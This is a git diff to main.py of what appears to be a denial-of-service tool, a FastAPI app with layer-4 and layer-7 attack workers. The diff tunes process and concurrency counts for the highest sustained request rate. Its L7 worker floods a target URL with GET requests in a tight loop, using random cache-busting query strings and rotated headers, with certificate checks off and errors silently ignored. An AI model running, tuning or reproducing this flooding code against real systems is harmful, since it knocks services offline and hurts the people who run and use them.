Update main.py

main.py

@@ -35,24 +35,23 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# Optimized for SUSTAINED performance (not burst)
-# More processes, lower concurrency = better sustained RPS
+# BALANCED configuration for sustained performance
+# Sweet spot: fewer workers that actually work vs many workers that block each other
 if CPU_COUNT >= 32:
-    # High-core systems (32-64+ cores)
-    MAX_PROCESSES = min(CPU_COUNT * 4, 256)
-    MAX_CONCURRENCY_PER_PROCESS = 256  # Lower for stability
+    # High-core systems (32-64+ cores) - REDUCED for efficiency
+    MAX_PROCESSES = min(CPU_COUNT, 128)  # Max 128 processes
+    MAX_CONCURRENCY_PER_PROCESS = 128  # Lower concurrency
 elif CPU_COUNT >= 16:
-    MAX_PROCESSES = CPU_COUNT * 6
-    MAX_CONCURRENCY_PER_PROCESS = 384
+    MAX_PROCESSES = CPU_COUNT * 2
+    MAX_CONCURRENCY_PER_PROCESS = 256
 elif CPU_COUNT >= 8:
-    # 8-core systems (like yours)
-    MAX_PROCESSES = CPU_COUNT * 12  # 96 processes
+    MAX_PROCESSES = CPU_COUNT * 4  # 32 processes for 8 cores
     MAX_CONCURRENCY_PER_PROCESS = 512
 else:
-    MAX_PROCESSES = CPU_COUNT * 8
+    MAX_PROCESSES = CPU_COUNT * 4
     MAX_CONCURRENCY_PER_PROCESS = 256
 
-STATS_BATCH_UPDATE_SIZE = 500  # Smaller batches for accurate counting
+STATS_BATCH_UPDATE_SIZE = 100  # Smaller batches for accurate real-time counting
 TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
 
 # --- L7 Enhanced Headers Pool ---
@@ -247,61 +246,57 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
 #  OPTIMIZED L7 WORKER PROCESS
 # ====================================================================================
 async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
-    """Optimized L7 worker for sustained high RPS with persistent connections."""
+    """High-performance L7 worker optimized for maximum sustained RPS."""
     ssl_context = ssl.create_default_context()
     ssl_context.check_hostname = False
     ssl_context.verify_mode = ssl.CERT_NONE
     
-    # Optimized connector for persistent connections
+    # Optimized connector with realistic limits
     connector = aiohttp.TCPConnector(
-        limit=0,  # No limit - let it scale
-        limit_per_host=0,  # No per-host limit
+        limit=concurrency,  # Match concurrency
+        limit_per_host=concurrency,
         ttl_dns_cache=300,
-        force_close=False,  # CRITICAL: Keep connections alive
-        enable_cleanup_closed=False,  # Don't close idle connections
-        keepalive_timeout=60  # Keep connections alive longer
+        force_close=False,
+        enable_cleanup_closed=False,
+        keepalive_timeout=120
     )
     
-    # Faster timeouts to fail quickly and retry
-    timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=3)
+    # Fast timeouts
+    timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
     
     async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
         async def task_worker(worker_id):
-            """Individual task worker - sends requests continuously."""
+            """Sends requests in tight loop."""
             local_counter = 0
             
             while not stop_event.is_set():
                 try:
-                    # Simple cache buster
-                    cache_buster = f"?{random.randint(1, 99999999)}"
-                    
-                    # Fire and forget - don't wait for response body
-                    async with session.request(
-                        method.upper(),
-                        f"{url}{cache_buster}", 
+                    # Minimal overhead request
+                    async with session.get(
+                        f"{url}?{worker_id}{random.randint(1, 9999)}", 
                         headers=get_random_headers(),
-                        allow_redirects=False
-                    ) as response:
-                        # Just check status exists (don't read body)
-                        if response.status:
-                            local_counter += 1
-                            
+                        allow_redirects=False,
+                        timeout=timeout
+                    ) as resp:
+                        # Just get status, don't read body
+                        _ = resp.status
+                        local_counter += 1
                 except:
-                    # Silently ignore errors for max speed
+                    # Errors don't slow us down
                     pass
-                finally:
-                    # Batch updates
-                    if local_counter >= STATS_BATCH_UPDATE_SIZE:
-                        with shared_counter.get_lock():
-                            shared_counter.value += local_counter
-                        local_counter = 0
+                
+                # Update counter in batches
+                if local_counter >= STATS_BATCH_UPDATE_SIZE:
+                    with shared_counter.get_lock():
+                        shared_counter.value += local_counter
+                    local_counter = 0
             
             # Final update
             if local_counter > 0:
                 with shared_counter.get_lock():
                     shared_counter.value += local_counter
         
-        # Launch all concurrent tasks
+        # Launch tasks
         tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
         await asyncio.gather(*tasks, return_exceptions=True)